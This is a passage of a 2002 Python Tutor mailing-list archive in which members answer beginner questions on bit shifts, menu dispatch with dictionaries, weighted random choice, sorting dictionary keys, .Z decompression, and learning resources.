<20020221162335.GA29834@dman.ddts.net> On Thu, Feb 21, 2002 at 08:34:41AM -0500, Charlie Clark wrote: | Where else does ">>" occur in Python? Right shift. >>> print "%x" % 0xAA aa >>> print "%x" % (0xAA >> 1) 55 >>> print "%x" % (0xAA >> 2) 2a >>> print "%x" % (0xAA >> 3) 15 >>> It is a bitwise operator. aa is 10101010 in binary. Right shift it one place and you get 01010101 which in hex is 55. Shift it two places and you get 00101010 which is 2a in hex. -D -- How great is the love the Father has lavished on us, that we should be called children of God! 1 John 3:1 From python_list@edsamail.com.ph Sat Feb 23 01:01:36 2002 From: python_list@edsamail.com.ph (Python Newbie) Date: Fri, 22 Feb 2002 17:01:36 -0800 Subject: [Tutor] Just a newbie question... Message-ID: Hello Python gurus, Please bear with me, I'm still a 4 days old newbie with Python. I hope I don't waste your time reading with this very newbie question. =) What's wrong with my code? Why is it that my "x" in fib(x) function is not recognized? - - - < s n i p > - - - import sys print '\n' print "[ 1 ] The Fibonacci Sequence" print "[ 2 ] The Multiplication Table" print "[Q/q] E X I T" print '\n' choice=raw_input("Enter your choice: ") while choice != 'Q' and choice != 'q': if choice == 1: fib(x) elif choice == 2: mtable() else: break def fib(x): x=input("Enter an integer: ") a=b=x if x > 0: print '\n' print "The Fibonacci Sequence:", '\n' for x in range(10): print '\t', a, '\n' a, b = b, a+b fib(x) def mtable(): print '\n' print '\t', '\t', '\t', "The Multiplication Table:", '\n' m=1 while m <= 10: def mult(n): y=1 while y<=10: print n*y, '\t', y=y+1 print mult(m) m = m+1 mtable() - - - < s n i p > - - - Also, is there a nice way to change this lousy code below? I want to change it like a "switch" conditional statement in C, to display a "menu-like" choices. What is a good alternative to "switch" of C in Python? And what is a "good terminator" if I press "Q or q" in Python? - - - < s n i p > - - - print '\n' print "[ 1 ] The Fibonacci Sequence" print "[ 2 ] The Multiplication Table" print "[Q/q] E X I T" print '\n' choice=raw_input("Enter your choice: ") while choice != 'Q' and choice != 'q': if choice == 1: fib(x) elif choice == 2: mtable() else: break - - - < s n i p > - - - And last but not the least, how can I test an input key, for example in the "Enter your choice:" located above (my menu), to accept only the particular choices (1, 2, Q or q only)? If the input key is not in the choices especially if a user inputs a character or string, it will pop an error message. Thank you very much! Just a newbie... __________________________________ www.edsamail.com From KellyPhe@logica.com Thu Feb 21 17:15:59 2002 From: KellyPhe@logica.com (Kelly, Phelim) Date: Thu, 21 Feb 2002 17:15:59 -0000 Subject: [Tutor] Just a newbie question... Message-ID: Hi You're trying to send x off to fib(x), but x hasn't been defined yet, you have your "x=input("Enter an integer: ")" in the wrong place, you should have it like so: ---------------- while choice != 'Q' and choice != 'q': x=input("Enter an integer: ") if choice == 1: fib(x) elif choice == 2: mtable() else: break def fib(x): a=b=x if x > 0: print '\n' print "The Fibonacci Sequence:", '\n' for x in range(10): print '\t', a, '\n' a, b = b, a+b -------------------- That will fix that particular problem anyway! Phelim. -----Original Message----- From: Python Newbie [mailto:python_list@edsamail.com.ph] Sent: 23 February 2002 01:02 To: Python Tutor Mailing List Subject: [Tutor] Just a newbie question... Hello Python gurus, Please bear with me, I'm still a 4 days old newbie with Python. I hope I don't waste your time reading with this very newbie question. =) What's wrong with my code? Why is it that my "x" in fib(x) function is not recognized? - - - < s n i p > - - - import sys print '\n' print "[ 1 ] The Fibonacci Sequence" print "[ 2 ] The Multiplication Table" print "[Q/q] E X I T" print '\n' choice=raw_input("Enter your choice: ") while choice != 'Q' and choice != 'q': if choice == 1: fib(x) elif choice == 2: mtable() else: break def fib(x): x=input("Enter an integer: ") a=b=x if x > 0: print '\n' print "The Fibonacci Sequence:", '\n' for x in range(10): print '\t', a, '\n' a, b = b, a+b fib(x) def mtable(): print '\n' print '\t', '\t', '\t', "The Multiplication Table:", '\n' m=1 while m <= 10: def mult(n): y=1 while y<=10: print n*y, '\t', y=y+1 print mult(m) m = m+1 mtable() - - - < s n i p > - - - Also, is there a nice way to change this lousy code below? I want to change it like a "switch" conditional statement in C, to display a "menu-like" choices. What is a good alternative to "switch" of C in Python? And what is a "good terminator" if I press "Q or q" in Python? - - - < s n i p > - - - print '\n' print "[ 1 ] The Fibonacci Sequence" print "[ 2 ] The Multiplication Table" print "[Q/q] E X I T" print '\n' choice=raw_input("Enter your choice: ") while choice != 'Q' and choice != 'q': if choice == 1: fib(x) elif choice == 2: mtable() else: break - - - < s n i p > - - - And last but not the least, how can I test an input key, for example in the "Enter your choice:" located above (my menu), to accept only the particular choices (1, 2, Q or q only)? If the input key is not in the choices especially if a user inputs a character or string, it will pop an error message. Thank you very much! Just a newbie... __________________________________ www.edsamail.com _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor This e-mail and any attachment is for authorised use by the intended recipient(s) only. It may contain proprietary material, confidential information and/or be subject to legal privilege. It should not be copied, disclosed to, retained or used by, any other party. If you are not an intended recipient then please promptly delete this e-mail and any attachment and all copies and inform the sender. Thank you. From shalehperry@attbi.com Thu Feb 21 17:28:58 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Thu, 21 Feb 2002 09:28:58 -0800 (PST) Subject: [Tutor] Just a newbie question... In-Reply-To: Message-ID: > > Also, is there a nice way to change this lousy code below? I want to change > it like a "switch" conditional statement in C, to display a "menu-like" > choices. What is a good alternative to "switch" of C in Python? And what is > a "good terminator" if I press "Q or q" in Python? > menu = {1: fib, 2: mtable} choice = raw_input("Enter a choice: ") func = menu[choice] func() What this does is make a dictionary (hash table) where each choice is a key and the value of the key is a function to run. From scarblac@pino.selwerd.nl Thu Feb 21 17:36:04 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 21 Feb 2002 18:36:04 +0100 Subject: [Tutor] Just a newbie question... In-Reply-To: ; from shalehperry@attbi.com on Thu, Feb 21, 2002 at 09:28:58AM -0800 References: Message-ID: <20020221183604.A15581@pino.selwerd.nl> On 0, Sean 'Shaleh' Perry wrote: > > > > Also, is there a nice way to change this lousy code below? I want to change > > it like a "switch" conditional statement in C, to display a "menu-like" > > choices. What is a good alternative to "switch" of C in Python? And what is > > a "good terminator" if I press "Q or q" in Python? > > > > menu = {1: fib, 2: mtable} > > choice = raw_input("Enter a choice: ") > func = menu[choice] > func() > > What this does is make a dictionary (hash table) where each choice is a key and > the value of the key is a function to run. A problem: 1 and 2 in your menu dictionary are integers, but raw_input() returns a string. Either do menu = {"1": fib, "2": mtable} or choice = int(raw_input("Enter a choice:")) Also you need to check if the choice actually exists (with menu.has_key(choice), for instance). -- Remco Gerlich From Felix.Toran@esa.int Wed Feb 20 17:40:37 2002 From: Felix.Toran@esa.int (Felix.Toran@esa.int) Date: Wed, 20 Feb 2002 18:40:37 +0100 Subject: [Tutor] gzip files Message-ID: <41256B66.005F11AC.00@esahqmail3.hq.esa.int> Hi all! I have been trying to decompress a Z file using the gzip module, but I have found several problems. Please, can someone help me with a short source code example? Thanks a lot in advance. Felix Toran. From kp87@lycos.com Thu Feb 21 16:59:32 2002 From: kp87@lycos.com (kevin parks) Date: Fri, 22 Feb 2002 01:59:32 +0900 Subject: [Tutor] (No Subject) Message-ID: I am trying to add weights or probabilities to a list of items to be chosen randomly from a list. A straight-ahead random picker would be something like: >>> import random >>> x=['one', 'two', 'three'] >>> item = random.choose(x) 'two' here all items have an equal (33.3333% chance) of being picked. Now i want to say that 'one' has a 10% chance of being picked, 'two' a 30% chance, and 'three' 60% or whatever... The poor person's way of doing this is to stack the deck: x=['one', 'two', 'two', 'two', 'three', 'three', 'three', 'three', 'three', 'three'] But i would rather specify with more flexibility like so: list1=[('one', 0.10), ('two', 0.30), ('three', 0.60)] -or- list1=[[one', 0.10], ['two', 0.30], ['three', 0.60]] and fancier things.. so i am starting with something like this (I am at a PC room with no interpreter so if i make a type forgive me)... my version... import random def wc(lst): n = random.uniform(0,1) for item, weight in lst: if n < weight: break n = n - weight return item ### was i headed down the right path here? i searched c.l.p and found a thread that had the following: someone said that the subtraction is not needed and the comparison with 1.0 can then be eliminated. By putting largest weights first, the remaining number of comparisons is minimized: list1 = [('three', 0.5), ('two', 0.75)] # else 'one' def wc(list): n = random.uniform(0, 1) for item, weight in list: if n < weight: return item return 'one' I don't understand this since then our last choice has to be hardwired in that second return statement. I am guessing that the 0.75 is a type and was supposed to be a 0.25 someone else suggested this with the disclaimer that it was not very efficient method and was untested: def weighted_choice(choices): tot = 0 for w,v in choices: tot = tot + w d = random.random()*tot tot = 0 for w,v in choices: tot = tot + w if tot > d: return v I am not yet able to get my head around this one but i put it through danny's histogram() and it seemed to work. Which approach is more better (more robust, faster, all-purpose, efficient, etc.) Check out Cupid School where you will learn from Matchmaker's best and brightest. Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From blacktrash@gmx.net Thu Feb 21 17:03:05 2002 From: blacktrash@gmx.net (Christian Ebert) Date: Thu, 21 Feb 2002 18:03:05 +0100 Subject: [Tutor] dictionaries In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B9@mbtlipnt02.btlabs.bt.co.uk> Message-ID: <20020221180325-r01010800-6e602b24-0922-0108@217.0.162.118> Hello Tutors, First of all: Compliments to everybody. IMO lurking on this list - which I have done so far - is the best way to start learning Python. alan.gauld@bt.com at 12:11 on Thursday, February 21, 2002: > for key in mydict.keys().sort(): > # process mydict[key] This doesn't work in one line for me. Because sort() sorts _in place_? Python 2.2 (#124, Dec 22 2001, 17:36:16) [CW PPC GUSI2 THREADS GC] Type "copyright", "credits" or "license" for more information. MacPython IDE 1.0.1 >>> mydict = {1:'a',2:'b',3:'c'} >>> for key in mydict.keys().sort(): ... print mydict[key] ... Traceback (most recent call last): File "", line 1, in ? TypeError: iteration over non-sequence >>> sortedkeys = mydict.keys().sort() >>> sortedkeys >>> >>> mykeys = mydict.keys() >>> for key in mykeys.sort(): ... print mydict[key] ... Traceback (most recent call last): File "", line 1, in ? TypeError: iteration over non-sequence >>> mykeys.sort() >>> for key in mykeys: ... print mydict[key] ... a b c >>> or did I overlook something? Christian -- Hyperion in Frankfurt www.tko.ch/blacktrash www.schauspielfrankfurt.de From scarblac@pino.selwerd.nl Thu Feb 21 18:20:20 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 21 Feb 2002 19:20:20 +0100 Subject: [Tutor] gzip files In-Reply-To: <41256B66.005F11AC.00@esahqmail3.hq.esa.int>; from Felix.Toran@esa.int on Wed, Feb 20, 2002 at 06:40:37PM +0100 References: <41256B66.005F11AC.00@esahqmail3.hq.esa.int> Message-ID: <20020221192020.A15866@pino.selwerd.nl> On 0, Felix.Toran@esa.int wrote: > I have been trying to decompress a Z file using the gzip module, but I have > found several problems. Please, can someone help me with a short source code > example? > > Thanks a lot in advance. .Z files are compressed using compress, not gzip. I don't know how to decompress them using Python, other than doing an os.system() call to uncompress. -- Remco Gerlich From csmith@blakeschool.org Thu Feb 21 18:41:17 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Thu, 21 Feb 2002 12:41:17 -0600 Subject: [Tutor] Re: style question Message-ID: Thanks for the feedback on this question: I think it raised a couple good points: 1) avoid code with repeated lines that differ by a small amount; slight differences that might actually be an error will be easily missed. 2) don't rely on logical values as part of a calculation. Whereas def count_evens(list): from operator import add return reduce(add, [i%2==0 for i in list]) is relying on a logical value, the following does not. The following relies on the modulus operator returning the remainder after division by 2 which can only be 0 or 1 (unless it's been redefined for a new class of variables, but hopefully you would know that and not do it this way). If n%2 is 1 then n is odd. def count_odds(list): from operator import add return reduce(add, [i%2 for i in list]) The following puts items into the result list only if they are even and again is not using the logical value as part of the arithmetic so it is ok. def count_evens(list): return len([i for i in list if i%2==0]) But this is even a little less transparent than just clearly indicating an incremented count variable as suggested by Alan (I changed the "count" to "odds" to indicate what is being counted): > >>>> odds > = 0 >>>> L = [a,b,c,d,e] >>>> for n in L: > if n%2: odds > += 1 /c From paulsid@shaw.ca Thu Feb 21 19:12:19 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Thu, 21 Feb 2002 12:12:19 -0700 Subject: [Tutor] (No Subject) References: Message-ID: <3C754693.6936BCFF@shaw.ca> kevin parks wrote: > so i am starting with something like this (I am at a PC room with no > interpreter so if i make a type forgive me)... my version... [snip] > was i headed down the right path here? At a glance your version looks fine. > someone said that the subtraction is not > needed and the comparison with 1.0 can then be eliminated. By putting largest > weights first, the remaining number of comparisons is minimized: > > list1 = [('three', 0.5), ('two', 0.75)] # else 'one' [snip again] > I don't understand this since then our last choice has to be hardwired in that > second return statement. I am guessing that the 0.75 is a type and was supposed > to be a 0.25 Looks like it. I like this solution a little better, except the hardcoding doesn't seem to be necessary. If the probabilities add up to 1.0 the last item should always be picked. I suppose it might be hardcoded to offset errors caused by floating point arithmetic, but actually all you need to do is make the last probability in the list 1 and then it will always be picked anyhow. Of course that may make things unclear. > I am not yet able to get my head around this one but i put it through danny's histogram() > and it seemed to work. Yeah, I find that one rather hard to understand as well. > Which approach is more better (more robust, faster, all-purpose, > efficient, etc.) Your version should be fine. It may not be the fastest but it seems reasonable to me and it is fairly easy to understand. However, if I were going to do this kind of thing a lot I would want to use a class. One advantage of the class is that it can do all of the maintenance work upon addition/deletion, which makes picking faster. Presumably all of the adding will be done at the start and then it will just be picking afterwards, so ideally picking should be the fastest operation. This sounded like a fun morning project so I came up with the class below. Note that deletion is supported but is relatively inefficient. The assumption is that deletions normally aren't needed for this type of operation so it doesn't need to be fast. Also this class isn't as robust as it should be; it's just a starting point. ********** import random class WeightedList: def __init__(self): self._total = 0.0 self._items = [] def add(self, obj, pct): if 100.0 - self._total < pct: raise "Percentage too high" self._items.append((obj, self._total, self._total + pct)) self._total = self._total + pct def pick(self): if not self._items: raise "Nothing in weighted list" x = random.uniform(0, 1) for item in self._items: if item[1] <= x < item[2]: return item[0] # Force return of an item even if percentages don't sum # to 1.0 - this may be undesirable for some applications. return item[0] def remove(self, index): self._items[index:index+1] = [] self.reassign() def reassign(self): self._total = 0.0 newitems = [] for item in self._items: pct = item[2] - item[1] newitems.append((item[0], self._total, self._total + pct)) self._total = self._total + pct self._items = newitems def debugprint(self): i = 0 for item in self._items: print "[%i] %s, %.3f-%.3f (%.1f%%)" % (i, item[0], item[1], item[2], (item[2] - item[1]) * 100.0) i = i + 1 if __name__ == "__main__": wl = WeightedList() wl.add("Red", 0.1) wl.add("Yellow", 0.4) wl.add("Green", 0.3) wl.remove(1) wl.add("Blue", 0.6) wl.debugprint() print for i in range(10): print wl.pick() ********** Here's a sample output from the test: [0] Red, 0.000-0.100 (10.0%) [1] Green, 0.100-0.400 (30.0%) [2] Blue, 0.400-1.000 (60.0%) Blue Blue Blue Blue Blue Blue Green Blue Red Blue Have fun! -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From urnerk@qwest.net Thu Feb 21 20:12:09 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 21 Feb 2002 12:12:09 -0800 Subject: [Tutor] Creating and storing objects from a GUI... In-Reply-To: Message-ID: <4.2.0.58.20020221114634.00cdb500@pop3.norton.antivirus> At 08:00 AM 2/21/2002 -0800, you wrote: >I was thinking SQL would be nice, but due to my ignorance, databases, >still feel a little like a black box to me. I'll have to do a little >more research into them. SQL is a language, I think you realize, not a particular product. Relational databases have grown up in tandem with this standard way to pull and put data into 'em. SQL will also create new tables from scratch, modify the structure of existing tables, and so on. If fancy, there's a whole permissions layer, where only some people get to do some things (such as drop whole tables). Every RDBMS from free MySQL through $10K Oracle uses some dialect of SQL, which is thankfully pretty standard. XML's tree structures might be the logical result of a query, e.g. pulling all dancers in Madam X's class might give us: Vos Savant Twila Vos Savant Twila The SQL would look something like: SELECT lastname,firstname ; # column selection FROM students,classes ; # two tables WHERE students.timeslot = classes.class ; # join condition AND classes.class=="Thurs PM" ; # boolean filter The XML could then be massaged into formatted output using XSLT to maybe give the list in table format in the browser (lots of tags and such). Mediating objects might have done the conversion from returned records (results of SQL) to XML. Python could broker the request for this list via a web form, formulate the SQL and pass it back to whatever RDBMS, and create the resulting web page on the fly. But that's all assuming a scenario where your clients are gaining password-protected access to scheduling info from home, using Netscape or whatever. You could add this functionality later -- if you have a server running Apache or whathaveyou. But if this is just a back office app running on a standalone machine, there's no point blueprinting all this fancy XML->XHTML via XSLT junk, fun though it may be to play with. To be super-realistic about the whole thing, if I had a client breathing down my neck, wanting this calendar/scheduling utility yesterday, I'd whip it up in Visual FoxPro (presuming they're Windows). VFP is vastly superior to VB when it comes to RDBMS type stuff IMO, has embedded SQL and one of those classic intuitive drag 'n drop approaches to interface building. Just slide a button or grid (rows-n-columns gizmo) onto a form, add some code, and you're done. Subclass and customized the canned versions if you prefer. Want a calendar object (Gregorian) where you just click on the day? There's a canned ActiveX object for that -- just slide it onto a form and bingo bango, you're done. The thing about Python is, although it's batteries included, if you want one of those drag-controls-from-a-palette type IDEs for interface-building, you've gotta pay (unless you can find some alpha or beta thing). Hand-crafting a Tk or wx GUI for anything slightly complicated, even using Pmw widgets (TK widgets on steroids) is in my opinion rather tedious -- coming as I do, spoiled as I am, from using the VFP devel environment. Kirby From dyoo@hkn.eecs.berkeley.edu Thu Feb 21 20:34:36 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 21 Feb 2002 12:34:36 -0800 (PST) Subject: [Tutor] dictionaries In-Reply-To: <20020221180325-r01010800-6e602b24-0922-0108@217.0.162.118> Message-ID: On Thu, 21 Feb 2002, Christian Ebert wrote: > > for key in mydict.keys().sort(): > > # process mydict[key] > > This doesn't work in one line for me. Because sort() sorts > _in place_? Yes, the sort() method of lists does it in-place, so the code above wouldn't work. However, we can fix that. Here's a function that'll return a new sorted list: ### def fsort(L, f=cmp): """A "functional" sort that returns a copy of L, with all its contents sorted out.""" L2 = L[:] L2.sort(f) return L2 ### And let's make sure that this thing actually works: ### >>> mydict = {2:'b', 1:'a', 3:'c'} >>> for key in fsort(mydict.keys()): ... print mydict[key] ... a b c >>> for key in fsort(mydict.keys(), ... lambda x,y: -cmp(x, y)): ... print mydict[key] ... c b a ### Good luck! From erikprice@mac.com Fri Feb 22 03:59:34 2002 From: erikprice@mac.com (Erik Price) Date: Thu, 21 Feb 2002 22:59:34 -0500 Subject: [Tutor] Python in 24 hours more like 24 years In-Reply-To: <019d01c1babb$1d0f09a0$12f6c50a@LDR.local> Message-ID: <955B2B78-2748-11D6-9572-00039351FE6A@mac.com> On Thursday, February 21, 2002, at 04:35 AM, Jonikas Valdemaras wrote: > Many thanks for all answers, > > I'm slightly depressed :) because Laningham's book > is the only choice in ours. So, I can't get your > recommended books. > If I understood correctly, not bad way (at least better > than Laningham's book :) would be to use tutolias > from www.python.org. Correct? I'm still learning Python. So don't take my words as those of Someone Who Knows. But I have found that there are tutorials all over the web that teach all kinds of programming. In fact, I did this with PHP -- I used a book to get me going, but halfway through the book I got bored with it because the tutorials on the web were much more concise (the book was a giant Wrox book, admittedly). The fact is, though, is that reading tutorials on a screen just sucks. There's nothing like curling up in bed and reading a book. Some people might think it's weird, because you don't have a computer handy to try stuff out on, but I prefer to ingest a chapter and then try it out later. So I say, get the book if it's convenient to do so, but otherwise, check out the following sites: DevShed has good quick tutorials that give you a rough idea of the topic. But if you want to know more, you need to know where the online documentation is. They have a fairly lengthy tutorial on Python, but it doesn't teach you how to program. http://devshed.com/ This is a pretty good tutorial. "How to Think Like a Computer Scientist." The name doesn't excite me, but it doesn't leave much to question -- read through this once and then go back and re-read the parts that you didn't totally understand. I found it comprehensive. http://www.ibiblio.org/obp/thinkCSpy/ The problem with a lot of tutorials (like the DevShed one, above), is that it's easy to teach you the basic structures of a language, like functions and naming rules and whatever. But to actually teach you some programming concepts is a trickier task. That's where I see myself -- I sort of already "know" Python's "rules", but actually writing efficient programs (the fun part) is something that I need to constantly work on. I haven't had time to read this tutorial, but I think it addresses this very subject... http://www.mindview.net/Books/Python/ThinkingInPython.html And Alan Gauld has already mentioned his site. There you go, now you don't have to buy a book. Between these four tutorials, which will take you a bit to get through, you should have a grasp of Python and be able to start learning from yourself. Erik From kauphlyn@speakeasy.org Fri Feb 22 04:59:59 2002 From: kauphlyn@speakeasy.org (Daniel Coughlin) Date: Thu, 21 Feb 2002 20:59:59 -0800 (PST) Subject: [Tutor] Python in 24 hours more like 24 years In-Reply-To: <955B2B78-2748-11D6-9572-00039351FE6A@mac.com> Message-ID: I was looking for the tutorial that really turned me on and found the following page http://www.awaretek.com/tutorials.html which is a big list of python tutorials. alas, the tutorial i learned from isnt there. and I cant remember where it was. by the way, I struggled for almost a year trying to learn 'how to program'. I spent time courting c++, perl, and visual basic before python actually requited my advances. And it was love at first sight. Now I am actually getting paid to charm and seduce Java. But python will always be my first love ;-) Plug: Wesley Chun's Core Python Programming definately was the very best books for me. Might be a little much for a true beginner - but I recommend it anyway. Also as Cameron said Python Essential Reference rocks. It can fit in your back pocket! ~d On Thu, 21 Feb 2002, Erik Price wrote: > > On Thursday, February 21, 2002, at 04:35 AM, Jonikas Valdemaras wrote: > > > Many thanks for all answers, > > > > I'm slightly depressed :) because Laningham's book > > is the only choice in ours. So, I can't get your > > recommended books. > > If I understood correctly, not bad way (at least better > > than Laningham's book :) would be to use tutolias > > from www.python.org. Correct? > > I'm still learning Python. So don't take my words as those of Someone > Who Knows. But I have found that there are tutorials all over the web > that teach all kinds of programming. In fact, I did this with PHP -- I > used a book to get me going, but halfway through the book I got bored > with it because the tutorials on the web were much more concise (the > book was a giant Wrox book, admittedly). > > The fact is, though, is that reading tutorials on a screen just sucks. > There's nothing like curling up in bed and reading a book. Some people > might think it's weird, because you don't have a computer handy to try > stuff out on, but I prefer to ingest a chapter and then try it out > later. So I say, get the book if it's convenient to do so, but > otherwise, check out the following sites: > > DevShed has good quick tutorials that give you a rough idea of the > topic. But if you want to know more, you need to know where the online > documentation is. They have a fairly lengthy tutorial on Python, but it > doesn't teach you how to program. > http://devshed.com/ > > This is a pretty good tutorial. "How to Think Like a Computer > Scientist." The name doesn't excite me, but it doesn't leave much to > question -- read through this once and then go back and re-read the > parts that you didn't totally understand. I found it comprehensive. > http://www.ibiblio.org/obp/thinkCSpy/ > > The problem with a lot of tutorials (like the DevShed one, above), is > that it's easy to teach you the basic structures of a language, like > functions and naming rules and whatever. But to actually teach you some > programming concepts is a trickier task. That's where I see myself -- I > sort of already "know" Python's "rules", but actually writing efficient > programs (the fun part) is something that I need to constantly work on. > I haven't had time to read this tutorial, but I think it addresses this > very subject... > http://www.mindview.net/Books/Python/ThinkingInPython.html > > And Alan Gauld has already mentioned his site. There you go, now you > don't have to buy a book. Between these four tutorials, which will take > you a bit to get through, you should have a grasp of Python and be able > to start learning from yourself. > > > Erik > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From randytalbot@comcast.net Fri Feb 22 05:11:42 2002 From: randytalbot@comcast.net (Randy Talbot) Date: Fri, 22 Feb 2002 00:11:42 -0500 Subject: FW: [Tutor] Newbie! Message-ID: <000001c1bb5f$6aca13c0$5b582144@aberdn01.md.comcast.net> > Hi everybody! > > I'm a newbie in programming languages and I was instructed to begin with > Python! Could you please tell me the correct steps, should I make, in > order to really learn the language and be possible to write serious >programes? Which books would you suggest to buy for this? (and of course >which other internet tutorials!). Hi Thanos The first book I like is "The Quick Python Book" by Daryl Harms (good book to get you acquainted with python). Follow up by three books that I like is "Core Python Programming" by Wesley Chun, "Python: Visual QuickStart Guide" by Chris Fehily and the book I have just started using but find that it is really good so far is "Python How to Program" by Dietel (this book is expensive though). Randy Talbot > At this momment I've begun with livewires' internet tutorial which I find > it quite helpful and easy, but soon enough I'll be needing more sources. > At last please advise if this language is the right one, in order to >create a "back-office" application for a company (accounts, statements, > clientele, etc.). > > Thanks in advance for your kind help. > > With my friendliest regards, > Thanos From wheelege@hotmail.com Fri Feb 22 05:12:53 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Fri, 22 Feb 2002 16:12:53 +1100 Subject: [Tutor] Python in 24 hours more like 24 years References: Message-ID: Since we seem to be speaking about books alot, I thought I'd throw in my personal favourite, Python and Tkinter programming by John E. Grayson. I found it very good, and like somebody mentioned - great to curl up with in bed at night. The book does assume the reader is already somewhat familiar with python, and assumes basic OOP knowledge. It does have two short intro to python chapters, but they are mainly for people who are already programmers but not in python. The very next chapter he goes on to build a fully-fledged application in tkinter. Another thing I liked about it is the source code for many of the exercises is available online, at his website. This source code includes more than what is in the book, but that isn't to say the book has little source code - it just doesn't have 'from tkinter import *' at the top of every snippet, and mainloop() at the bottom. Things like that. Well, my advice is that if anybody has done a little python, and wants to go with tkinter style programming next, get this book. It's great, I can't really say enough about it. Clean focus too - always concentrating on practical, useful ideas and concepts - with heaps of examples. One disclaimer though, as I said above - not a tutorial, not for beginners. That's why I'm mentioning it now, when the discussion seems to have come to 'what to do when the tutorials get too basic, and I know all the "rules"??'. ----- Original Message ----- From: "Daniel Coughlin" To: "Erik Price" Cc: "Jonikas Valdemaras" ; Sent: Friday, February 22, 2002 3:59 PM Subject: Re: [Tutor] Python in 24 hours more like 24 years > > I was looking for the tutorial that really turned me on and found the following > page > http://www.awaretek.com/tutorials.html > which is a big list of python tutorials. > > alas, the tutorial i learned from isnt there. and I cant remember where it was. > by the way, I struggled for almost a year trying to learn 'how to program'. I > spent time courting c++, perl, and visual > basic before python actually requited my advances. And it was love at > first sight. Now I am actually getting paid to charm and seduce Java. But python > will always be my first love ;-) > > > Plug: > Wesley Chun's Core Python Programming definately was the very best books > for me. Might be a little much for a true beginner - but I recommend it anyway. > > Also as Cameron said Python Essential Reference rocks. It can fit in your back > pocket! > > > > ~d > > > > > > On Thu, 21 Feb 2002, Erik Price wrote: > > > > > On Thursday, February 21, 2002, at 04:35 AM, Jonikas Valdemaras wrote: > > > > > Many thanks for all answers, > > > > > > I'm slightly depressed :) because Laningham's book > > > is the only choice in ours. So, I can't get your > > > recommended books. > > > If I understood correctly, not bad way (at least better > > > than Laningham's book :) would be to use tutolias > > > from www.python.org. Correct? > > > > I'm still learning Python. So don't take my words as those of Someone > > Who Knows. But I have found that there are tutorials all over the web > > that teach all kinds of programming. In fact, I did this with PHP -- I > > used a book to get me going, but halfway through the book I got bored > > with it because the tutorials on the web were much more concise (the > > book was a giant Wrox book, admittedly). > > > > The fact is, though, is that reading tutorials on a screen just sucks. > > There's nothing like curling up in bed and reading a book. Some people > > might think it's weird, because you don't have a computer handy to try > > stuff out on, but I prefer to ingest a chapter and then try it out > > later. So I say, get the book if it's convenient to do so, but > > otherwise, check out the following sites: > > > > DevShed has good quick tutorials that give you a rough idea of the > > topic. But if you want to know more, you need to know where the online > > documentation is. They have a fairly lengthy tutorial on Python, but it > > doesn't teach you how to program. > > http://devshed.com/ > > > > This is a pretty good tutorial. "How to Think Like a Computer > > Scientist." The name doesn't excite me, but it doesn't leave much to > > question -- read through this once and then go back and re-read the > > parts that you didn't totally understand. I found it comprehensive. > > http://www.ibiblio.org/obp/thinkCSpy/ > > > > The problem with a lot of tutorials (like the DevShed one, above), is > > that it's easy to teach you the basic structures of a language, like > > functions and naming rules and whatever. But to actually teach you some > > programming concepts is a trickier task. That's where I see myself -- I > > sort of already "know" Python's "rules", but actually writing efficient > > programs (the fun part) is something that I need to constantly work on. > > I haven't had time to read this tutorial, but I think it addresses this > > very subject... > > http://www.mindview.net/Books/Python/ThinkingInPython.html > > > > And Alan Gauld has already mentioned his site. There you go, now you > > don't have to buy a book. Between these four tutorials, which will take > > you a bit to get through, you should have a grasp of Python and be able > > to start learning from yourself. > > > > > > Erik > > > > > > _______________________________________________ > > Tutor maillist - Tutor@python.org > > http://mail.python.org/mailman/listinfo/tutor > > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From idiot1@netzero.net Fri Feb 22 07:23:33 2002 From: idiot1@netzero.net (kirk Bailey) Date: Fri, 22 Feb 2002 02:23:33 -0500 Subject: [Tutor] 1.1.4 building Message-ID: <3C75F1F5.DF7DE1AE@netzero.net> I replaced the logo image with font and text, diplays the same but loads MUCH faster- 1 second on dial up vs 4 due to image load times. All scripts generating images now display text with identical appearance to the logo image. TLpost now has defaults for global and per list footers in case the global.footer and (listname).footer files are not found. Also, it now can append a static preface to the body of the letter if (listname).preface file is found. -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ NOTE: By sending SPAM to this address you agree to pay me a service fee of $100 for the service of receiving, storing, examining, and deleting your piece of SPAM. I am a postmaster, and take a dim view of such. ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From charlie@begeistert.org Fri Feb 22 11:30:42 2002 From: charlie@begeistert.org (Charlie Clark) Date: Fri, 22 Feb 2002 06:30:42 -0500 Subject: [Tutor] Re: Print ogre Message-ID: <132109865093-BeMail@gormenghast> >| Where else does ">>" occur in Python=3F > >Right shift. .. >It is a bitwise operator. aa is 10101010 in binary. Right shift it >one place and you get 01010101 which in hex is 55. Shift it two >places and you get 00101010 which is 2a in hex. In other words there is no overlap between the two uses. ">>" doesn't have a generic meaning or use making reusable in different contexts. A good reason for removing it in print >> as a way to remove a possible source of confusion. Time to check the reasons for introducing it and the rules for writing a PEP. Charlie From sdurkin@psd.k12.co.us Fri Feb 22 11:35:26 2002 From: sdurkin@psd.k12.co.us (Scott Durkin) Date: Fri, 22 Feb 2002 04:35:26 -0700 (MST) Subject: [Tutor] standalone *.exe Message-ID: Hi, What is (or is there) the definitive way to create standalone *.exe files that will function later on 